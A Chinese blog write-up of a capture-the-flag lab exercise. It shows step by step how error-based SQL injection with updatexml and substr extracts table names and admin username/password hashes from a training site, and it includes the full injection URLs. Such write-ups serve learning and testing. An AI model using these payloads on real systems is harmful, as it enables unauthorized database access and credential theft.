Java教程

WEB安全- SQL过滤字符后手工注入漏洞测试(第3题)

本文主要是介绍WEB安全- SQL过滤字符后手工注入漏洞测试(第3题),对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
前言 这是SQL注入的第十一篇,紧接着上次的靶场来打,也是上次靶场的最后一题,这题是三星难度,但是打完好像并没有我想象的那么难,题目链接:https://www.mozhe.cn/bug/detail/ZVBYR3I3eG9USnpIT0xqaDdtR09SQT09bW96aGUmozhe 正文 首先明确目标,这里说需要绕过,但是做完发现好像并不要,所以题目还是有不严谨的地方,可以有很多不同的解题方式 进入存在注入的网站,发现和之前不太一样 这里的id修改可以看到不同的商品 尝试一下单引号,发现有报错,尝试使用报错注入 之后添加#,报错消失,所以可以进行报错注入 先获取数据库名为  min_ju4t_mel1i http://219.153.49.228:44328/new_list.php?id=1' and updatexml(1,concat(0x7e,database()),0) %23 获取数据表为  (@dmin9_td4b},notice,stormgroup http://219.153.49.228:44328/new_list.php?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),0) %23 本以为是stormgroup表,但是没有报错出数据,所以去(@dmin9_td4b}表中查看,获取到列为 id,username,password,status http://219.153.49.228:44328/new_list.php?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='(@dmin9_td4b}')),0) %23 拉取username和password数据,注意这里的表名因为有大括号,和前面某些代码形成闭合,无法拉取,所以要添加反引号 ` 来确定它是一个表 http://219.153.49.228:44328/new_list.php?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,0x7e,password) from min_ju4t_mel1i.`(@dmin9_td4b}`)),0) %23 拉取出第一组数据,但是有前面的经验知道,这不完整,所以通过截取函数慢慢拉取数据,然后修改substr的第二个和第三个数据调整来截取位数慢慢获取数据 http://219.153.49.228:44328/new_list.php?id=1' and updatexml(1,substr(concat(0x7e,(select group_concat(username,0x7e,password) from min_ju4t_mel1i.`(@dmin9_td4b}`)),1,200),0) %23 拉取数据如下,一个一个解密,获得账号密码 mozhe1~c4ea899a06973f44f891504e2efa3356 mozhe~7fef6171469e80d32c0559f88b377245 mozhe2~cb16f5d9fecbae34d999a17652305de1 mozhe4~22848a9af522d214c0fec25947475c73 mozhe3~b5008541e00894fbadbc6f4b9bb501dd  b5008541e00894fbadbc6f4b9bb501d # 正确 或者使用burp调整substr参数进行爆破,注意要在options的Grep-Extract里面添加~作为参数,但是爆出来的数据也不全,所以还要打开response里面自己看后拼接起来 登陆后台获取key 总结 其实打到现在发现,很多题目只要开始的时候方向对,基本上没什么问题,后面就是手工慢慢注入了,最重要的还是信息搜集和信息判断,有些题目可能看着难,但是有其它简单的办法,所以不能被禁锢住想法,多想想就会有新的收获
这篇关于WEB安全- SQL过滤字符后手工注入漏洞测试(第3题)的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!